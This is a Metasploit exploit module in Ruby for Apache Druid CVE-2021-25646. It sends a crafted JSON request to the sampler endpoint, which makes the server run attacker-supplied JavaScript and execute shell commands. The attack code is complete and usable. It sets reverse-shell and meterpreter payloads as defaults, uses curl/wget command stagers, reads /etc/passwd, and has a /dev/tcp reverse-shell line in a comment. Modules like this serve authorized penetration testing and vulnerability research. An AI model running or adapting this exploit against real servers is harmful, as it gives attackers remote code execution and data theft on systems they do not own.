146 lines
6.0 KiB
Ruby
146 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
|
|
'Description' => %q{
|
|
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests.
|
|
In Druid 0.20.0 and earlier, authenticated user can send a specially-crafted request with json type which set "config" to true .
|
|
It can forces Druid to run user-provided JavaScript code for that request, regardless of server configuration.
|
|
More critically,most of Apache Druid don't need to any auth.
|
|
This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
|
|
|
|
Tested Apache Druid 0.15.1/0.16.0-iap8/0.17.1/0.18.0-iap3/0.19.0-iap7/0.20.0-iap4.1/0.21.0-iap3
|
|
This module add CHECKCMD allow customize the cmd to check,which can replace exec in payloads.
|
|
The module still exit many bug, for example, target sometime will wget/curl many time but I can't find any reason.
|
|
},
|
|
'Author' => [
|
|
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
|
|
'je5442804', # Metasploit module
|
|
],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'References' => [
|
|
['CVE', '2021-25646'],
|
|
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],
|
|
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
|
|
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
|
|
],
|
|
'DisclosureDate' => 'Jan 21 2021',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'Targets' => [
|
|
['Linux (dropper)', {
|
|
'Platform' => 'linux',
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl'},
|
|
'CmdStagerFlavor' => %w[curl wget],
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}],
|
|
['Unix (in-memory)',{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_memory,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
|
}],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'Note' =>{
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(8888),
|
|
OptString.new('CHECKCMD', [ true, 'The command to execute as checking vulnerability', 'id'])
|
|
])
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
gencmd = "/bin/bash`@~-c`@~"+cmd
|
|
vprint_status("Executing command #{gencmd} ......")
|
|
post_data = {
|
|
"type": "index",
|
|
"spec": {
|
|
"ioConfig": {
|
|
"type": "index",
|
|
"firehose": {
|
|
"type": "local",
|
|
"baseDir": "/etc",
|
|
"filter": "passwd"
|
|
}
|
|
},
|
|
"dataSchema": {
|
|
"dataSource": "%%DATASOURCE%%",
|
|
"parser": {
|
|
"parseSpec": {
|
|
"format": "javascript",
|
|
"timestampSpec": {},
|
|
"dimensionsSpec": {}, #/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp// 0>&1
|
|
"function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"2021-03-28T12:41:27Z\",test: s}}",
|
|
"": {
|
|
"enabled": "true"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"samplerConfig": {
|
|
"numRows": 10
|
|
}
|
|
}.to_json
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/druid/indexer/v1/sampler',
|
|
'ctype' => 'application/json',
|
|
'headers' => {
|
|
'Accept' => 'application/json, text/plain, */*',
|
|
'Accept-Language' => 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
|
|
'Connection' => 'keep-alive'
|
|
},
|
|
'data' => post_data
|
|
})
|
|
return res
|
|
end
|
|
|
|
def check
|
|
if datastore['CHECKCMD'].empty?
|
|
return CheckCode::Unknown("CHECKCMD can not be empty!")
|
|
else
|
|
res = execute_command("#{datastore['CHECKCMD']}")
|
|
end
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
unless res.code == 200
|
|
return CheckCode::Safe
|
|
end
|
|
if res.body.include?('data') & res.body.include?('test')
|
|
return CheckCode::Vulnerable("- CMD response! =>\n #{JSON.parse(res.body)['data'][0]['parsed']['test']}")
|
|
end
|
|
return CheckCode::Unknown("Target seem isn't Apache Druid")
|
|
end
|
|
|
|
def exploit
|
|
case target['Type']
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
when :unix_memory
|
|
execute_command(payload.encoded)
|
|
end
|
|
|
|
end
|
|
|
|
end
|